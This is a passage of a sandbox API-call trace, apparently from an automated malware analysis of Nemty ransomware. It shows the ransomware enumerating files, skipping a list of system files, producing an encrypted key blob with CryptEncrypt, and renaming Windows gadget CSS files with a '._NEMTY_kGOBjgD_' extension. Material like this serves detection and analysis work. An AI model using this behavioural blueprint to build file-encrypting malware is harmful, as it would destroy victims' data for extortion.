lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6343fe8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0113.548] CloseHandle (hObject=0xffffffff) returned 0 [0113.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340480 [0113.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340528 [0113.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344158 [0113.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340528 | out: hHeap=0x4f90000) returned 1 [0113.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.548] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\clock.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\clock.css._nemty_kgobjgd_")) returned 0 [0113.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0113.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340480 | out: hHeap=0x4f90000) returned 1 [0113.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0113.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0113.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0113.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0113.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0113.549] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55e, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2=".") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="..") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="...") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="windows") returned -1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="$RECYCLE.BIN") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="rsa") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="NTDETECT.COM") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="ntldr") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="MSDOS.SYS") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="IO.SYS") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="boot.ini") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="boot.ini") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="AUTOEXEC.BAT") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="ntuser.dat") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="desktop.ini") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="CONFIG.SYS") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="RECYCLER") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="BOOTSECT.BAK") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="bootmgr") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="programdata") returned 1 [0113.549] lstrcmpiW (lpString1="settings.css", lpString2="appdata") returned 1 [0113.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0113.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0113.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0113.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0113.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0113.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0113.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0113.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0113.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d8 [0113.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0113.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340330 [0113.550] Sleep (dwMilliseconds=0x5) [0113.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xf7565eb0, dwHighDateTime=0x1d561e7)) [0113.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xf7565eb0, dwHighDateTime=0x1d561e7)) [0113.566] GetLastError () returned 0x5 [0113.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.566] GetLastError () returned 0x5 [0113.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.566] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0113.566] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0113.566] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0113.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0113.566] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653e5dc | out: pszString="uoowiR+FAtaaLmXcfNAOYxWwCXI8Q2yxRAcFP5McPAeF1tKa8lDDMixjBaGzdUBx\r\n7k2N0QhMLqdPVd/+IIhF4uzs6JtkLPW6QNZ2BmG2R4lObB0zlST8CyCnVHWNmUK/\r\n/4DaVge6bjS10KzimAiKjEYw2fRBaYd30mJX4tK4D01aY+L281m1i93mo0vjO3Nc\r\nbgWg69RhWp4Wdy1f90v4lOfvFJo065aDC4lAWOFDyLx/oDlfU1wGRyBFXmh/3j3a\r\nYjB+YwLNrs4Y/sl3YUWD8FwKalx/PHec5TQxaLXJYCOcJjNrEpJL/WrRxGLr8/NX\r\nJlwFCZWOIAODwaH6NxtEEw==\r\n", pcchString=0x653e5dc) returned 1 [0113.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0113.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0113.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0113.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0113.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0113.566] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\settings.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0113.567] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0113.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0113.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.567] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.577] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.577] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.586] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.605] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.623] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.623] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.633] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.642] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.652] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.652] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.667] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.667] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6343fe8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0113.673] CloseHandle (hObject=0xffffffff) returned 0 [0113.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340480 [0113.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340528 [0113.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344158 [0113.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340528 | out: hHeap=0x4f90000) returned 1 [0113.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\settings.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css\\settings.css._nemty_kgobjgd_")) returned 0 [0113.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0113.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340480 | out: hHeap=0x4f90000) returned 1 [0113.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0113.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0113.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0113.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0113.674] HeapFree (in: 